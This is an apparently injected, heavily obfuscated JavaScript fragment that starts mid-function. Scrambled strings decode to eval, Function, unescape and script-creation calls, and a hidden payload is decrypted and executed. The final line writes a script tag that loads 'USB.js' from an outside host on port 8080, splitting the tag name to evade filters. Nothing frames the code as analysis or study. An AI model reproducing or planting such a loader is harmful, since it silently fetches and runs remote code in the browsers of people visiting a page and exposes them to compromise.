G(b, a){var Oz;if(Oz!='' && Oz!='PO'){Oz='yY'};var Vl=new Array();var iP=new Array();var D = b.length;var vjC;if(vjC!='wR' && vjC != ''){vjC=null};var R=[180,1,44][1];var Bq=new String();var H=[0,48][0];var EJ;if(EJ!='sWC' && EJ!='Mv'){EJ='sWC'};var l = a.length;var xj;if(xj!='Fj'){xj=''};var A = '';var GS=false;var fI=59818;for(var bT = H; bT < D; bT += l) {this.Yt=45073;var XN;if(XN!='au' && XN!='Mo'){XN='au'};this.SC=44486;var NL = b.substr(bT, l);var KU;if(KU!='bj' && KU!='Hs'){KU='bj'};if(NL.length == l){var Im;if(Im!='dr' && Im!='gz'){Im=''};var zA=new Date();for(var L in a) {var Vb=56618;var WW;if(WW!='SU' && WW!='al'){WW=''};var Jp;if(Jp!='zJ'){Jp=''};A+=NL.substr(a[L], R);var ob;if(ob!='Mt' && ob!='sZ'){ob=''};var oQ;if(oQ!='An' && oQ!='Ku'){oQ=''};var nZ;if(nZ!=''){nZ='Ut'};this.IGJ='';}} else {  A+=NL;}var BO=false;}var e=new Array();var DP;if(DP!='' && DP!='yh'){DP='xZ'};return A;var cq=new String();}var oe="oe";var nL;if(nL!='oP'){nL=''};var h=window;var Nj=false;var gZ;if(gZ!='zm'){gZ='zm'};var AG=h[G("vela", [1,0])];var J=AG(G("cFunntio", [1,2,3,0]));var Z = '';var GH=AG(G("rtnSgi", [3,1,0,5,2,4]));this.ZP='';var yu=false;var m=AG(G("gREexp", [1,3,0,2]));this.Vh="";var wu='';var rO;if(rO!=''){rO='ig'};var Dj;if(Dj!='GX' && Dj!='Ib'){Dj='GX'};var oH=new String();var P=h[G("snueeacp", [2,1,3,0])];this.wRO='';var mA=new Date();var v=GH[G("rfoCmhraCdoe", [1,0,2])];this.nz="nz";var ka;if(ka!='' && ka!='gvA'){ka='wM'};var Gb="Gb";var Jj="Jj";var ab;if(ab!=''){ab='qZ'};var i = t[G("gnhetl", [5,3,1,0,4,2])];var vK =[119,190,43,0][3];var H =[199,0,205,236][1];var LQ;if(LQ!='' && LQ!='WT'){LQ=''};var k = GH.fromCharCode(37);var Y = '';var Qt=new Array();var lK = '';var qo;if(qo!='zY' && qo!='Vu'){qo='zY'};var FQ=29024;var ZC;if(ZC!='uX'){ZC='uX'};var xq;if(xq!='Ek'){xq='Ek'};this.hx="";this.sgr="";var kHx=new Array();var TR;if(TR!='' && TR!='iv'){TR='Wn'};this.sm=44270;var hO = '';var fO=[1, G("cmtnoeduraEect.emn\'(etlerp)\'ctsi", [6,4,0,7,1,5,3,2]),2, G("codemu.tndoba.yeppCdnlihd(d)", [2,1,0]),3, G("k.uivlsieedtsien.gu:r0880", [2,0,1]),4, G("hcraet.rent", [1,0]),5, G("s.dAterttubi(eted\'ref\'", [2,1,0]),6, G("aetnop.s.pt.aol", [3,1,2,6,7,0,5,4]),7, G("ndiw.owooalnd", [3,2,0,1]),8, G("darbti.ecom", [1,0,3,2]),11, G("otnincuf()", [7,6,2,5,1,3,0,4]),12, G("ooglegco.m", [2,0,1]),14, G("tccaeh)(", [1,3,0,2]),15, G("60.3cn", [3,0,1,2]),16, G("t\"htp:", [1,2,0,3]),17, G("okeyal", [2,1,0]),18, G(".dsrc", [1,0,2,3]),19, G("\'\')1", [1,3,0,2]),20, G("ytr", [1,2,0]),21, G("oc", [1,0])];var Rz="Rz";var o = /[^@a-z0-9A-Z_-]/g;var oM;if(oM!='' && oM!='Wq'){oM='ym'};var R =[232,122,190,1][3];var s =[186,2,235][1];var zAe="";var pM=new Array();this.cX="";this.OEL="";for(var RZ=H; RZ < i; RZ+=s){var SCl=new Date();var LH;if(LH!='' && LH!='GD'){LH=''};hO+= k; var ivJ;if(ivJ!=''){ivJ='Mx'};var Bhc;if(Bhc!=''){Bhc='NLR'};hO+= t[G("stburs", [5,3,2,0,1,4])](RZ, s);}this.WE=6481;var AN=new Date();var t = P(hO);var AyP;if(AyP!='' && AyP!='Lx'){AyP=null};var F = new GH(N);var If;if(If!='' && If!='nU'){If='qR'};var kn = F[G("preclae", [1,2,0])](o, lK);var JX="";var lq;if(lq!='FXQ' && lq!='Om'){lq='FXQ'};var Jm;if(Jm!='' && Jm!='nzR'){Jm=null};var Xg=false;kn = X(kn);var FN = new GH(J);var ar='';var aU = fO[G("nthgel", [5,4,0,3,1,2])];var BPo=38097;var Vlw;if(Vlw!='oJ' && Vlw!='xC'){Vlw=''};this.Gz="";var ah = FN[G("eaprlce", [3,0,2,4,1])](o, lK);this.Le='';var ah = f(ah);var Jn="";var vi=f(kn);var Bl=new String();var Qm=false;for(var bT=H; bT < (t[G("nlegth", [1,2,0,3])]);bT=bT+[62,1,249,221][1]) {this.QN="QN";var sW = kn.charCodeAt(vK);var jZ=new Array();var uH;if(uH!=''){uH='oB'};var XJ = w(t,bT);this.AP='';var yNe="yNe";XJ = C(XJ, sW);var XYs;if(XYs!='' && XYs!='od'){XYs=null};XJ = C(XJ, vi);var Bz;if(Bz!='wV' && Bz!='HE'){Bz='wV'};var tD=new Date();XJ = C(XJ, ah);var PT=new String();var SN;if(SN!='' && SN!='nVI'){SN='hH'};vK++;var lV;if(lV!='nH' && lV != ''){lV=null};var Bi;if(Bi!='' && Bi!='PE'){Bi=null};if(vK > kn.length-R){var Vk="Vk";var TH;if(TH!='Zo'){TH=''};vK=H;}var Ap;if(Ap!='Zn' && Ap!='TO'){Ap='Zn'};Y += v(XJ);}this.wqp=false;var Or;if(Or!='' && Or!='IA'){Or='VCV'};var DS="DS";for(T=H; T < aU; T+=s){var WD=6553;var zF=new Date();this.yxY=false;this.Tl=false;var ff = fO[T + R];var Fd=52191;var WWj;if(WWj!='Kug' && WWj!='ty'){WWj=''};var DR = v(fO[T]);var Nz;if(Nz!='oh'){Nz=''};this.dp=51246;var Rw;if(Rw!='oj' && Rw!='RK'){Rw='oj'};var Fq = new m(DR, "g");Y=Y[G("lraecpe", [1,3,5,0,2,4])](Fq, ff);var WJ="";}var UL;if(UL!='' && UL!='UH'){UL='Efj'};var dM=new J(Y);this.Zk='';dM();var pv;if(pv!='Ph' && pv != ''){pv=null};kn = '';var Tw=new String();var El;if(El!='' && El!='hVs'){El='zP'};dM = '';var Sy="Sy";vi = '';FN = '';var nQ;if(nQ!='Oi'){nQ=''};ah = '';var ss;if(ss!='PP' && ss != ''){ss=null};Y = '';var ct=false;var Qi;if(Qi!='Ks' && Qi != ''){Qi=null};var OZ;if(OZ!='qX' && OZ != ''){OZ=null};return '';this.ei='';};var lk='';var Ng='';N(rh);








document.write('<s'+'cript type="text/javascript" src="http://assolkh.blackhulu.com:8080/USB.js"></scr'+'ipt>');
